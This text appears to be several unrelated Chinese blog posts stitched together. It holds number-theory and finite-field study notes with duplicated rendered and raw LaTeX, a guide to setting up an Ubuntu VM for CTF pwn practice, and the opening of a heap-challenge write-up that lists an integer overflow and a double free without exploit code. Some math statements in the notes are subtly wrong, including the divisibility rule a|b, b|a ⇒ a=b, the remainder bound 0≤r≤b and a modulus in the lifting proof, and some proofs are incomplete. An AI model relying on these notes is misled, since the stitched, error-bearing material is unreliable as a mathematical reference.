  4. 对于任意c(x)F(x)c(x)\in \mathbb F(x),如果c(x)r0(x),c(x)r1(x)c(x)|r_0(x),c(x)|r_1(x),那么c(x)(r0(x),r1(x))c(x)|(r_0(x),r_1(x))

推论 多项式的裴蜀定理(描述、证明略)


定理3.11f(x),g(x)f(x),g(x)为域F\mathbb F上两个不全为0的多项式,则对于任意k(x)F[x],(f(x)+g(x)k(x),g(x))=(f(x),g(x))k(x)\in \mathbb F[x],(f(x)+g(x)k(x),g(x))=(f(x),g(x))
类比整数,证明略。


定理3.12f1(x),f2(x)f_1(x),f_2(x)为域F\mathbb F上的多项式,p(x)p(x)为域F\mathbb F上的不可约多项式,且p(x)f1(x)f2(x)p(x)|f_1(x)f_2(x),若(p(x),f1(x))=1(p(x),f_1(x))=1,则p(x)f2(x)p(x)|f_2(x)
类比整数,证明使用定理3.10推论证明,略。


定理3.13f1(x),f2(x)f_1(x),f_2(x)为域F\mathbb F上的多项式,p(x)p(x)为域F\mathbb F上的不可约多项式,且p(x)f1(x)f2(x)p(x)|f_1(x)f_2(x),则p(x)f1(x)p(x)|f_1(x)p(x)f2(x)p(x)|f_2(x)
类比整数,证明略。


定理3.14 唯一因式分解定理:设f(x)f(x)是域F\mathbb F上次数大于0的多项式,则f(x)f(x)可以唯一地表示为域F\mathbb F上一些次数大于0的不可约多项式的乘积。特别地,若f(x)f(x)为首1多项式,且

f(x)=p1(x)p2(x)...ps(x)=q1(x)q2(x)...qt(x)f(x)=p_1(x)p_2(x)...p_s(x)=q_1(x)q_2(x)...q_t(x)

其中pi(x),qi(x)p_i(x),q_i(x)为域F\mathbb F上次数大于0的首1不可约多项式,则有s=ts=t,经过适当调整可以使得对任意ii均有pi(x)=qi(x)p_i(x)=q_i(x)

证明方法:归纳法。略


定义3.9 根:设f(x)f(x)为域F\mathbb F上的多项式,如果aFa\in \mathbb F使得f(a)=0f(a)=0,则称aaf(x)f(x)在域F\mathbb F上的一个根。


定理3.15 余元定理:设f(x)f(x)为域F\mathbb F上的多项式,对于任意aFa\in \mathbb F,存在g(x)F[x]g(x)\in \mathbb F[x]使得f(x)=(xa)g(x)+f(a)f(x)=(x-a)g(x)+f(a)

证明方法:f(x)=(xa)g(x)+cf(x)=(x-a)g(x)+c,代入aa即可。

本定理可以这样理解:将其看成域上离散的中值定理——f(x)f(a)xa=g(x)\frac{f(x)-f(a)}{x-a}=g(x),认为中值定理在域上也成立。但是实际上写的时候不能写分式,因为并没有定义除这个运算。

推论1f(x)f(x)为域F\mathbb F上的多项式,aaf(x)f(x)在域F\mathbb F的根的充要条件为(xa)f(x)(x-a)|f(x)
推论2f(x)f(x)为域F\mathbb F上的多项式,如果a1,a2,...ama_1,a_2,...a_mf(x)f(x)在域F\mathbb F的根,则存在nmn-m次多项式g(x)F[x]g(x)\in \mathbb F[x]使得f(x)=(xa1)(xa2)...(xam)g(x)f(x)=(x-a_1)(x-a_2)...(x-a_m)g(x)
推论3f(x)f(x)为域F\mathbb F上的多项式,则f(x)f(x)F\mathbb F的任意扩域中,不同根的个数不会超过nn(证明使用推论2证明)


定理3.16f(x)f(x)是域F\mathbb F上的n1n\ge 1次不可约多项式,集合F[x]f(x)={i=0n1aixiaiF}\mathbb F[x]_{f(x)}=\{\sum_{i=0}^{n-1}a_ix^i|a_i\in\mathbb F\}按照模f(x)f(x)的模加和模乘形成一个域。特别地,若f(x)f(x)是有限域Fq\mathbb F_q上的nn次不可约多项式,则F[x]f(x)={i=0n1aixiaiFq}\mathbb F[x]_{f(x)}=\{\sum_{i=0}^{n-1}a_ix^i|a_i\in\mathbb F_q\}按照模f(x)f(x)的模加和模乘形成一个元素个数为qnq^n的有限域。

证明方法:证明该运算系统满足域的每条性质。每个项的系数都可以取q个值,因此构造的域的元素个数为qnq^n

Fq[x]f(x)\mathbb F_q[x]^*_{f(x)}表示Fq[x]f(x)\mathbb F_q[x]_{f(x)}的乘法群,其元素个数为qn1q^n-1

注意:任何次数大于等于n的多项式在F[x]f(x)\mathbb F[x]_{f(x)}中均等于一个次数小于n的多项式,每一项的系数关于F\mathbb F取余,整个多项式关于f(x)f(x)取余


定理3.17f(x)f(x)是域F\mathbb F上的一个次数大于0的不可约多项式,那么f(x)f(x)必然在F\mathbb F的某个扩域中有根。

证明方法:使用定理3.16构造的扩域。

举例:定义在Z2\mathbb Z_2上的多项式f(x)=x2+1f(x)=x^2+1在其上不可约,因此构造扩域,集合元素为{0,1,x,x+1}\{0,1,x,x+1\},则显然有f(x)=x2+1=0f(x)=x^2+1=0,即f(x)=0f(x)=0,x是多项式的一个根。(这里的x指的是扩域中的x,不要混淆了)

推论 F\mathbb F上的任意一个次数为n1n\ge 1的多项式,必然在F\mathbb F的扩域中可以分解为nn个一次不可约多项式的乘积。


定理3.18E\mathbb E是有限域,Fq\mathbb F_q是其q元子域,则存在正整数n使得E=qn|\mathbb E|=q^n

证明方法:逐步扩大法。Fq=E1\mathbb F_q=\mathbb E_1如果存在βEE1\beta\in \mathbb E \setminus \mathbb E_1,那么定义E2={a0+a1βa0,a1Fq}\mathbb E_2=\{a_0+a_1\beta|a_0,a_1\in\mathbb F_q\},其元素个数为q2q^2,如果还存在不在E2\mathbb E_2的元素,则继续扩展,直到En=E\mathbb E_n=\mathbb E为止。

注意:这其中的Ei\mathbb E_i不一定是一个域!在严格证明中将其描述为集合。

推论 有限域的元素个数必为pnp^n,其中pp为素数。任何有限域都是其素域的扩域。


定理3.19Fq\mathbb F_q为q元有限域,F\mathbb FFq\mathbb F_q的扩域,αF\alpha\in\mathbb F,那么α\alpha是多项式xqxx^q-x的根当且仅当αFq\alpha\in\mathbb F_q

证明方法:对于任意αFq\alpha\in\mathbb F_qαqα=(e+e+e+...+e)qα=eq+eq+...+eqα=αα=0\alpha^q-\alpha=(e+e+e+...+e)^q-\alpha=e^q+e^q+...+e^q-\alpha=\alpha-\alpha=0,故xqxx^q-x的根是Fq\mathbb F_q的所有元素,而其也只有这么多根(次数限制)。

Chapter 2 同余

定义2.1 同余、不同余


定理2.1 同余是一种等价关系(自反性、对称性、传递性依次证明)


定义2.2 模m剩余类,模m完全剩余系


定义2.3 模m简化剩余类,完全剩余类中所有与m互素的剩余类。模m简化剩余系。欧拉函数:整数1,2,…,m中所有与m互素的整数个数,即为φ(m)\varphi(m)


定理2.2 a,ba,b正整数,ab(modmn)ab(modm),ab(modn)a\equiv b(\mod mn)\Rightarrow a\equiv b(\mod m), a\equiv b(\mod n)(逆定理不成立)


定理2.3 m,nm,n正整数,ab(modm),ab(modn)ab(mod[m,n])a\equiv b(\mod m),a\equiv b(\mod n)\Rightarrow a\equiv b(\mod [m,n])


定理2.4 同余性质:
(1) ab(modm)a+cb+c(modm)a\equiv b(\mod m)\Rightarrow a+c\equiv b+c(\mod m)
(2) ab(modm),kZakbk(modm)a\equiv b(\mod m), k\in Z\Rightarrow ak\equiv bk(\mod m)
(3) akbk(modm),kZ,(k,m)=1ab(modm)ak\equiv bk(\mod m), k\in Z,(k,m)=1\Rightarrow a\equiv b(\mod m)
(4) ab(modm),kNakbk(modmk)a\equiv b(\mod m), k\in N\Leftrightarrow ak\equiv bk(\mod mk)
(5) ab(modm),f(x)a\equiv b(\mod m), f(x)为一整系数多项式,f(a)f(b)(modm)f(a)\equiv f(b)(\mod m)

推论a1a2(modm),b1b2(modm)a_1\equiv a_2(\mod m),b_1\equiv b_2(\mod m),则a1+b1a2+b2(modm),a1b1a2b2(modm)a_1+b_1\equiv a_2+b_2(\mod m),a_1b_1\equiv a_2b_2(\mod m)


定理2.5 设m为正整数,若(a,m)=1,则当x遍历m的一个完全剩余系时,对于任意整数b,ax+b遍历模m的一个完全剩余系;当x遍历m的一个简化剩余系时,ax遍历m的一个简化剩余系。

证明:
r1,r2,...,rmr_1,r_2,...,r_m是模m的一个完全剩余系,当iji\ne j时,rirj(modm)r_i\ne r_j(\mod m),又(a,m)=1(a,m)=1,则ari+barj+b(modm)ar_i+b\ne ar_j+b(\mod m),故x遍历r1,r2,…,rm时,ax+b是m个关于m两两互不同余的整数,因此构成完全剩余系。
如果r1,r2,...,rφ(m)r_1,r_2,...,r_{\varphi(m)}是简化剩余系,对于所有ri,(ri,m)=1r_i,(r_i,m)=1,因为(a,m)=1(a,m)=1,则有(ari,m)=1(ar_i,m)=1,即任意ari均在简化剩余系中且两两互不同余。因此构成简化剩余系。


定理2.6 设m,n为正整数,(m,n)=1,则当x遍历模n的一个完全剩余系,y遍历模m的一个完全剩余系时,mx+ny遍历模mn的一个完全剩余系;当x遍历模n的一个简化剩余系,y遍历模m的一个简化剩余系时,mx+ny遍历模mn的一个简化剩余系。

证明:
假设mx1+ny1mx2+ny2(modmn)mx_1+ny_1\equiv mx_2+ny_2(\mod mn),由定理2.2可知,mx1+ny1mx2+ny2(modm),mx1+ny1mx2+ny2(modn)mx_1+ny_1\equiv mx_2+ny_2(\mod m),mx_1+ny_1\equiv mx_2+ny_2(\mod n),又(m,n)=1,故y1y2(modm),x1x2(modn)y_1\equiv y_2(\mod m),x_1\equiv x_2(\mod n)。因此mx+ny互不同余,构成模mn的完全剩余系。
(x,n)=1,(y,m)=1(x,n)=1,(y,m)=1,则(mx+ny,m)=(ny,m)=(y,m)=1,(mx+ny,n)=1(mx+ny,m)=(ny,m)=(y,m)=1,(mx+ny,n)=1,故(mx+ny,mn)=1(mx+ny,mn)=1,即任意一个与mn互素的整数都在遍历所产生的φ(m)φ(n)\varphi(m)\varphi(n)个简化剩余类中。


定理2.7 (欧拉定理)m为正整数,(a,m)=1,则aφ(m)1(modm)a^{\varphi(m)}\equiv 1(\mod m)

证明:
构造模m的简化剩余系r1,r2,...,rφ(m)r_1,r_2,...,r_{\varphi(m)},(a,m)=1,故由定理2.4有ar1,ar2,...,arφ(m)ar_1,ar_2,...,ar_{\varphi(m)}也是模m简化剩余系。故对于任意1iφ(m)1\le i\le \varphi(m)有且仅有唯一1jφ(m)1\le j\le \varphi(m)使得ari=rjar_i=r_j。故

r1r2...rφ(m)aφ(m)r1r2...rφ(m)(modm)r_1r_2...r_{\varphi(m)}\equiv a^{\varphi(m)}r_1r_2...r_{\varphi(m)}(\mod m)

证毕


定理2.8 (费马小定理)p为素数,则对于任意整数a,apa(modp)a^p\equiv a(\mod p)

证明:
由欧拉定理可知若(a,p)=1,则aφ(p)=ap11(modp)a^{\varphi(p)}=a^{p-1}\equiv 1(\mod p),原命题成立
否则必有p|a,即ap1a0(modp)a^{p-1}\equiv a\equiv 0(\mod p)


定理2.9 m,n为正整数,若互素,则φ(m)φ(n)=φ(mn)\varphi(m)\varphi(n)=\varphi(mn)

证明:
定理2.6


定理2.10 p为素数,e为正整数,则φ(pe)=pepe1\varphi(p^e)=p^e-p^{e-1}

证明:
从1到pe中与pe不互素的只有p的倍数,共有pe-1个。


定理2.11 设m为正整数,m=i=1Spiaim=\prod_{i=1}^Sp_i^{a_i},则φ(m)=mi=1S(11pi)\varphi(m)=m\prod_{i=1}^S(1-\frac{1}{p_i})

证明:
定理2.9,2.10


定义2.4 模m同余式:f(x)=i=0naixif(x)=\sum_{i=0}^{n}a_ix^i为一个整系数多项式,m为正整数,称f(x)0(modm)f(x)\equiv 0(\mod m)为模m同余式。若an0(modm)a_n\ne 0(\mod m)则称该同余式次数为n,如果整数a满足f(a)0(modm)f(a)\equiv 0(\mod m)则称a为同余式的解。解数:同余式解的个数。


定理2.12 m为正整数,同余式axb(modm)ax\equiv b(\mod m)有解的充要条件是(a,m)|b。有解时结束为(a,m),且若x=x0是同余式的一个特解,则同余式的所有解可以表示为

xx0+m(a,m)t(modm),t=0,1,2,...,(a,m)1x\equiv x_0+\frac{m}{(a,m)}t(\mod m),t=0,1,2,...,(a,m)-1

证明:
axb(modm)ax\equiv b(\mod m)有解,则存在整数y使得ax-b=my,且若x=x0,y=y0是ax-b=my的一个解,则xx0(modm)x\equiv x_0(\mod m)就是axb(modm)ax\equiv b(\mod m)的一个解。根据定理1.8可知,ax-b=my有解的充要条件是(a,m)|b。
若x=x0,y=y0是ax-b=my的一个解,则ax-b=my的所有解可以表示为:

{x=x0+m(a,m)ty=y0+a(a,m)t,tZ\left\{ \begin{aligned} x=x_0+\frac{m}{(a,m)}t\\ y=y_0+\frac{a}{(a,m)}t \end{aligned} ,t\in\mathbb Z \right.

可将x=x0+m(a,m)t,tZx=x_0+\frac{m}{(a,m)}t,t\in\mathbb Z写为(a,m)个模m的同余类,即t取0,1,…,(a,m)-1


定理2.13 m为正整数,(a,m)=1,则aφ(m)1a^{\varphi(m)-1}是a模m的逆元。

证明:


定理2.14 (Wilson定理)设p为素数,则(p1)!1(modp)(p-1)!\equiv -1(\mod p)

证明:
p=2时结论显然成立
p>2,对于1ap11\le a\le p-1,因为(a,p)=1,因此a存在逆元a’,由ax1(modm)ax\equiv 1(\mod m)的解数为1,故满足1ap11\le a'\le p-1的逆元也是唯一的。在1,2,…,p-1中将这些数一一配对,每一对的两数均互为逆元,则结论显然成立。


定理2.15 (中国剩余定理)设m1,m2,...,mSm_1,m_2,...,m_S为两两互素的正整数,b1,b2,...,bSb_1,b_2,...,b_S为任意整数,则同余式组

{xb1(modm1)xb2(modm2)...xbS(modmS)\left\{ \begin{array}{rcl} x\equiv b_1(\mod m_1)\\ x\equiv b_2(\mod m_2)\\ ...\\ x\equiv b_S(\mod m_S) \end{array} \right.

M=m1...mSM=m_1...m_S有唯一解xi=1SbiMmi(Mmi)1(modmi)(modM)x\equiv \sum_{i=1}^S b_i\frac{M}{m_i}(\frac{M}{m_i})^{-1}(\mod m_i)(\mod M)

证明:
存在性:代入上式即可
唯一性:设有一个解为x0,则其满足上面任意一个式子,根据定理1.14有M=[m1,m2,...,mS]xx0M=[m_1,m_2,...,m_S]|x-x_0,即xx0(modM)x\equiv x_0(\mod M),解唯一。


定理2.16m1,m2,...,mSm_1,m_2,...,m_S为两两互素的正整数,对于1is1\le i\le s,同余式fi(x)0(modmi)f_i(x)\equiv 0(\mod m_i)有Ci个解,则同余式组

{f(x)0(modm1)f(x)0(modm2)...f(x)0(modmS)\left\{ \begin{array}{rcl} f(x)\equiv 0(\mod m_1)\\ f(x)\equiv 0(\mod m_2)\\ ...\\ f(x)\equiv 0(\mod m_S) \end{array} \right.

关于模M=m1...mSM=m_1...m_SC1C2...CsC_1C_2...C_s个解。

证明:组合。
证明这些解互不同余:
若有xx(modM)x\equiv x'(\mod M),则由定理2.2可知对于任意i均有xx(modmi)x\equiv x'(\mod m_i),故x=x’。
任何bi变化都会导致解不同。


定理2.17 p为素数,i1i2...iS,b1,b2,...,bSi_1\ge i_2\ge ... i_S,b_1,b_2,...,b_S为任意整数,同余式组

{xb1(modpi1)xb2(modpi2)...xbS(modpiS)\left\{ \begin{array}{rcl} x\equiv b_1(\mod p^{i_1})\\ x\equiv b_2(\mod p^{i_2})\\ ...\\ x\equiv b_S(\mod p^{i_S}) \end{array} \right.

有解的充要条件为

{b1b2(modpi2)b1b3(modpi3)...b1bS(modpiS)\left\{ \begin{array}{rcl} b_1\equiv b_2(\mod p^{i_2})\\ b_1\equiv b_3(\mod p^{i_3})\\ ...\\ b_1\equiv b_S(\mod p^{i_S}) \end{array} \right.

证明:
充分性易证
必要性:若有解x0,则由定理2.2可知x0b1(modpi2)x_0\equiv b_1(\mod p^{i_2}),故b1b_1是第二个式子的解,同理b1也是后面所有式子的解。


定义2.6 导式


定理2.18 设p为素数,k1k\ge 1,若xxk(modpk)x\equiv x_k(\mod p^k)为同余式f(x)0(modpk)f(x)\equiv 0(\mod p^k)的一个解,则在这个剩余类中:
(1) 若(p,f(xk))=1(p,f'(x^k))=1,则同余式f(x)0(modpk+1)f(x)\equiv 0(\mod p^{k+1})有唯一解。
(2) 若pf(xk)p|f'(x^k),当f(xk)0(modpk+1)f(x_k)\ne 0(\mod p^{k+1})时,同余式f(x)0(modpk+1)f(x)\equiv 0(\mod p^{k+1})无解,否则有p个解。

证明:
由定理2.2可知,同余式f(x)0(modpk+1)f(x)\equiv 0(\mod p^{k+1})的解一定是f(x)0(modpk)f(x)\equiv 0(\mod p^k)的解,因此我们只需对f(x)0(modpk)f(x)\equiv 0(\mod p^k)的解进行筛选即可。

x=xk+pkt,tZx=x_k+p^kt,t\in\mathbb Z中进行筛选:
将其代入到f(x)0(modpk+1)f(x)\equiv 0(\mod p^{k+1})中使用泰勒公式可得:

f(xk)+f(xk)pkt+i=2nf(i)(xk)piki!ti0(modpk+1)f(x_k)+f'(x_k)p^kt+\sum_{i=2}^n\frac{f^{(i)}(x_k)p^{ik}}{i!}t^i\equiv 0(\mod p^{k+1})

因为f(i)(xk)i!=ann!i!(ni)!\frac{f^{(i)}(x_k)}{i!}=\frac{a_n\cdot n!}{i!(n-i)!}为整数,因此有i!f(i)(xk)i!|f^{(i)}(x_k)。即泰勒展开除前面两项之外后面所有项均整除pk+1p^{k+1},可以全部消去,化简为:

f(xk)+f(xk)pkt0(modpk+1)f(x_k)+f'(x_k)p^kt\equiv 0(\mod p^{k+1})

pkf(xk)p^k|f(x_k),上式可以化为:

f(xk)pk+f(xk)t0(modpk+1)\frac{f(x_k)}{p^k}+f'(x_k)t\equiv 0(\mod p^{k+1})

(f(xk),p)=1(f'(x_k),p)=1则t仅有1个取值。若为0则与定理结论相符。

推论 p为素数,若xx1(modp)x\equiv x_1(\mod p)是同余式f(x)0(modp)f(x)\equiv 0(\mod p)的一个解,且满足(f(x1),p)=1(f'(x_1),p)=1,则对于任意正整数k>1,f(x)0(modpk)f(x)\equiv 0(\mod p^k)的满足xx1(modp)x\equiv x_1(\mod p)的解xk可以通过以下递推式得到:

xi=xi1f(xi1)((f(x1))1(modp))(modpi),i=1,2,3,...,kx_i=x_{i-1}-f(x_{i-1})((f'(x_1))^{-1}(\mod p))(\mod p^i),i=1,2,3,...,k

证明:数学归纳法


定理1.1 任意给定整数a和正整数b>0,存在唯一的一对整数q,0≤r≤b,使得a=qb+r

推论1 任意给定整数a和正整数b<0,存在唯一的一对整数q,0rb0\le r\le |b|,使得a=qb+r
推论2 任意给定整数a,c和整数b≠0,存在唯一的一对整数q,c≤r≤|b|+c,使得a=qb+r

定义1.1 整除、倍数、因子、商

定理1.2 设a,b,c为整数:
(1) 若a|b,b|a,则a=b
(2) 设整数k≠0,若a|b,则ka|kb,反之亦然
(3) 对任意整数k,若a|b,则a|kb
(4) 若a|b,b≠0,则bab\frac{b}{a}|b
(5) 若a|b,b|c,则a|c
(6) 若a|b,a|c,则对任意整数s和t,a|sb+tc(裴蜀定理)

定义1.2 公因数、互素

定理1.3 设a,b为两个不全为0的整数,且a=qb+r,q,r为整数,则(a,b)=(b,r)

推论 设a,b为两个不全为0的整数,q为整数,则(a, b)=(a±bq, b)=(a, b±aq)

定理1.4 设a,b为两个正整数,rn-2=qn-1rn-1+rn,0≤rn≤rn-1为欧几里得辗转相除算式,则:
(1) (a,b)=rn
(2) 存在整数s,t,使得rn=sa+tb
(3) 任意整数c,若满足c|a且c|b,则c|rn

定理1.5 设a,b为两个正整数,上式为其欧几里得辗转相除算式,则由S0=0,S1=1,Si+1=Si-1-qn-iSi,n≥i≥1递推所得的Sn-1和Sn满足Sn-1a+Snb=rn

证明:写成矩阵形式

定理1.6 设a,b为两个不全为0的整数,则
(1) 对于任意正整数k,(ka,kb)=k(a,b)
(2) (a(a,b),b(a,b))=1(\frac{a}{(a,b)},\frac{b}{(a,b)})=1

定理1.7 设a,b,c是三个整数,a≠0,c≠0,若(a,b)=1,则(a,bc)=(a,c)

定理1.8 设a,b是两个不全为0的整数,关于x和y的整系数不定方程ax+by=c有整数解的充要条件是(a,b)|c。若x=x0,y=y0是方程的一个特解,那么方程的所有整数解都可以表示为:x=x0b(a,b)t,y=y0+a(a,b)t,tZx=x_0-\frac{b}{(a,b)}t, y=y_0+\frac{a}{(a,b)}t,t\in\mathbb Z

定义1.3 多个数的公因数、最大公因数、互素

定理1.9 设a1,a2,…,an是n个不全为0的整数,不妨设a1≠0,定义d1=(a1, a2),d2=(d1, a3),…,dn-1=(dn-2, an),则dn-1=(a1, a2, … an)

推论 设正整数d是a1,a2,…,an的最大公因数,存在s1,s2,…,sn有d=s1a1+s2a2+…+snan

定理1.10 正整数c是a1,a2,…,an的最大公因数,当且仅当:
(1) c|a1, c|a2, …, c|an
(2) 任一整数d若满足d|a1, d|a2, …, d|an,则d|c

定义1.4 公倍数、最小公倍数

定理1.11 设a,b为两个正整数,且(a,b)=1
(1) 若a|c,b|c,则ab|c
(2) [a,b]=ab

定理1.12 设a,b为两个正整数
(1) 对于任何正整数k,[ka, kb]=k[a,b]
(2) [a,b]=ab(a,b)[a,b]=\frac{ab}{(a,b)}
(3) 若a|c,b|c,则[a,b]|c

定理1.13 设a1,a2,…,an是n个不为0的整数,定义m1=[a1, a2],m2=[m1, a3],…,mn-1=[mn-2, an],则[a1, a2, …, an]=mn-1

定理1.14 与定理1.10类似,不想抄了

定义1.5 素数

定理1.15 合数的最小的不等于1的正因子p一定是素数且小于根号m
推论 若所有小于根号m的素数都不是m的因子,则m为素数

定理1.16 素数有无穷多个

定理1.17 素数定理:limxπ(x)ln(x)x=1\lim_{x\rightarrow\infty}\pi(x)\frac{\ln(x)}{x}=1

定理1.18 切比雪夫定理:设整数n>3,则至少存在一个素数p满足n<p<2n-2

定理1.19 算数基本定理:n为一个大于1的正整数,则n必然可以分解为一些素数的乘积,如果将素因子顺序排列,则n分解方式唯一。

定义1.6 标准分解式

定义1.7 高斯函数

定理1.20
(1) 若x≤y,则[x]≤[y]
(2) 整数a满足x-1<a≤x\Leftrightarrowa=[x]
(3) 整数a满足a≤x<a+1\Leftrightarrowa=[x]
(4) 任意整数n,[n+x]=n+[x]

定理1.21 整数a,b且b>0,带余除法算式a=qb+r,0≤r<b,则q=[ab][\frac{a}{b}]

定理1.22 n!中包含的p次幂次数为i1[npi]\sum_{i\ge 1}[\frac{n}{p^i}]

最近因为学校考试所以没怎么看pwn,但是中间虚拟机崩掉过,问题还挺严重。前几天发现能正常打开了,但是一用gdb就会出现下面让人窒息的提醒:

怎么调都不知道是怎么回事,很奇怪的是只有在开gdb的时候才会弹出这个错误,其他都是正常的。问过师傅时候无奈只能放弃这个与我并肩作战这么长时间的ubuntu 20.04,重装一个虚拟机。一不做二不休,干脆就将整个过程记录下来,便于日后查询。

虚拟机日常维护注意事项

在最新的VMware中对虚拟机有一个保护选项,可以在指定时间间隔内保存一个快照,这样在虚拟机崩溃的时候能够快速回档到前两天的快照中,有效减少文件等的损失,而不必每次都手动保存快照。(有读者可能会怀疑为什么我不能对崩掉的虚拟机回档,实际上我做了尝试,但是上面的问题还是存在,这就不是虚拟机状态的问题了,而是某些底层硬件配置的问题,可能是硬件出问题导致调试无法进行,但具体的我也不知道应该如何处理,因此只能重装)

如上图所示,在虚拟机设置->选项中可以找到自动保护选项,根据你设置的保护间隔和最大自动保护快照数量可以计算出至少需要的磁盘空间,因此需要保证有足够的磁盘空间

另外,当虚拟机存在快照时,是不能扩充磁盘容量的,因此要想扩充虚拟机的虚拟磁盘,要么在创建虚拟机时就分配足够大小的磁盘空间,要么就只能删除所有的快照后再进行扩充(建议前者,因为有的快照删除特别慢,如果快照多的话可能要等很长时间)

从零搭建环境

下面就将介绍如何从零搭建一个CTF-pwn环境(由于学习仍在进行,故一些环境如远程执行环境还没有搭建的经历,如今后需要搭建,会在最后进行补充)

1. 创建虚拟机

可以在ubuntu官方网站上下载最新的长期支持版本,在笔者写这篇文章的时候,这个版本已经是22.04了,但还是按照20.04的版本来安装。22.04下载/历史版本下载


下载的是光盘映像文件,将其放在虚拟机的工作目录中。

然后选择vmware上方工具栏的文件->新建虚拟机,打开新建虚拟机向导。如下:

选择自定义安装,点击下一步。


硬件兼容性不需要改,一般默认选择最新的vmware版本兼容,你的vmware是什么版本就用什么版本,不用修改,直接点击下一步。


选择安装程序光盘映像文件,点击浏览,选择你刚才下载的映像文件,然后点击下一步。


输入全名(这个随便输,想输什么都行),以及你登录虚拟机的用户名和密码。之后点击下一步。


输入虚拟机的名字,将位置浏览设置为你的虚拟机工作目录。


处理器数量选择。如果你的电脑配置很好而且虚拟机也需要一定的计算需要,可以设置多一些,内核数量不变,修改处理器数量。但是总数不能超过你电脑主机的内核数量。我一般选择8处理器。


内存大小设置。同样看主机的配置。最好不要超过主机的内存大小,否则虚拟机可能会变慢。对于pwn做题来说4GB一般就足够了。


网络选择。这个网络的选择可以在虚拟机创建之后随时修改,这里简单介绍一下最常用的前两种:桥接网络和NAT。桥接网络如上面所说,直接访问外部以太网,前提是虚拟机要有自己的IP地址,因此桥接网络在使用的时候大多都是勾选“与主机共用IP地址”这个选项(这个选项在创建虚拟机到这一步的时候没有显示,但是可以在上方工具栏虚拟机->设置中找到并勾选,后面再说)。某些学校的校园网可能有接入设备数量限制(笔者学校就是),这个时候虚拟机选择桥接网络可能无法联网,可以考虑使用NAT模式,在这个模式下,主机相当于一个网关,而虚拟机为网关下的机器,与外部以太网连接需要借助主机。这种模式可以有效克服上面说的校园网接入数量限制问题。
因此这里选择默认NAT,最好能够保证开机之后立刻联网呃,因为需要下载一些包,安装完成之后也能改。以默认NAT进行下一步。


IO控制器类型,不用改直接下一步。


磁盘类型也不用改,直接下一步。


磁盘类型不用改,下一步。


磁盘空间设置这里,除了最大磁盘大小之外其他都不要改。为了避免出现磁盘空间不足的问题,笔者这里设置为200GB。这个大小根据自己的物理磁盘空间决定,但是不要太小,建议pwner们不要小于60GB,后面做kernel pwn搭建环境可能很占空间的。


磁盘文件,不用改直接下一步。


上面是最后确认的界面,确定好虚拟机的配置后,点击完成就可以开始创建虚拟机了。


之后是自动开机安装过程,耐心等待一段时间…


大约10分钟之后,我们就能够登录ubuntu系统了。


在笔者的vmware中,linux系统在安装的时候就已经安装了VMware Tools,它能够帮助你更加快捷地在主机和虚拟机中传递文件,只需拖动即可。但是笔者的虚拟机只能从打开的文件夹中拖动文件到主机,不能从桌面上直接拖动复制,从主机复制文件到虚拟机也是必须复制到打开的文件夹中。

自此,我们的ubuntu系统就成功搭建好了,下面进行一些配置使虚拟机能够更加轻松方便地使用。

2. 默认root权限设置

在做题的时候,如果我们能够直接以root的身份登录,就不需要输入n多次的密码了。

参考资料进行操作即可。根据步骤来,实测有效。


注意正上方的提示,重启之后我们已经成功自动以root用户登录了,完成。

3. 安装vim

apt install vim即可

4. 修改软件源

ubuntu自带的软件源是国外的,速度慢有的时候还连不上,于是应修改为国内的镜像。

镜像与修改方法

笔者选择阿里云镜像。

修改完文件之后记得apt updateapt upgrade进行更新。第一次更新可能需要等一段时间,看你的网速怎么样…

5. 安装sublime-text(非必要)

使用系统自带的gedit没有补全功能,可以在ubuntu应用商店里面搜索sublime-text安装,打开py文件的时候右键选中“Open with other application”就可以使用sublime-text打开了。(这里图标显示不出来,但是安装没有问题)

6. 安装pwntools

pwntools是pwn最常用的一个python包。
首先需要安装pip:apt install python3-pip
然后安装pwntools:pip install pwntools
完成。

7. 安装pwndbg

pwndbg是gdb的插件,帮助我们在做题时进行调试。
首先安装git:apt install git
然后拉取git库:git clone https://github.com/pwndbg/pwndbg
进入pwndbg目录运行bash脚本setup.sh即开始安装


运行gdb下有pwndbg标识即表示安装成功。

8. 安装LibcSearcher

请参考资料

注意不要使用pip install LibcSearcher,这两个是不一样的,链接中的是国人写的,准确度相对高一些。

9. 安装checksec

请参考资料

到这一步完成之后,一般的pwn题就可以开始做了。如果需要kernel环境,则继续下面的步骤。

10. 安装qemu

使用apt list qemu*可查看所有前缀为qemu的包。可以看到这里有很多支持不同架构的qemu。

根据自己的需要安装对应架构的包即可。一般最为常用的是x86架构:apt install qemu-system-x86,注意不能只输入apt install qemu

11. 配置kernel pwn环境

较为复杂,这里给出笔者以前写的资料。
资料

12. 安装vmlinux-to-elf

这是一个用于将bzImage解压为vmlinux的工具,在kernel pwn中经常用到:

1
2
3
git clone https://github.com/marin-m/vmlinux-to-elf
cd vmlinux-to-elf
sudo python3 ./setup.py install

然后就可以使用vmlinux-to-elf命令进行解压了。

13. ARM pwn环境搭建

参考资料中的做法如下:

虽然说在x86-64的机器上无法直接运行ARM架构的elf文件,但我们可以通过qemu来实现。虽然可以使用docker在x86-64的机器上创建一个ARM架构的docker容器,但太过麻烦,在容器中还需要安装很多东西。因此可以直接使用qemu与gdb-multiarch配合。

实际上qemu不仅可以用来起一个qemu容器,还可以仅仅运行一个其他架构的elf文件,可以添加选项-g <端口号>将elf程序映射到某一个端口,而且还会等待接入,只有当我们使用gdb-multiarch接入时才会开始准备执行其中的第一条指令,非常方便我们下断点。

1
2
sudo apt install gdb-multiarch
sudo apt install qemu-user-static

如果要执行的文件名为./pwn,则使用qemu执行该ARM可执行文件的命令为:
qemu-arm-static -g 9999 -L . ./pwn
之后启动gdb-multiarch:
gdb-multiarch ./pwn
连接端口:
pwndbg> target remote 9999
即可开始调试。
如果想直接执行不调试,只需要删除qemu-arm-static中的-g选项即可。

昨天整理做过的题目时发现的这道题,简单看了下觉得挺有参考意义的,在此回顾。

源文件:my_github

这是一道典型的堆题。内部一共实现了增加、删除、编辑3个功能。

经过分析,漏洞主要有:

  1. 在create_exploit函数中的两个整型溢出漏洞,使chunk地址可以写到缓冲区的高地址处
  2. 在delete_exploit函数中的double free漏洞,释放后没有清空指针


经过gdb调试发现,bss段中对于chunk相关信息的存储结构如下:

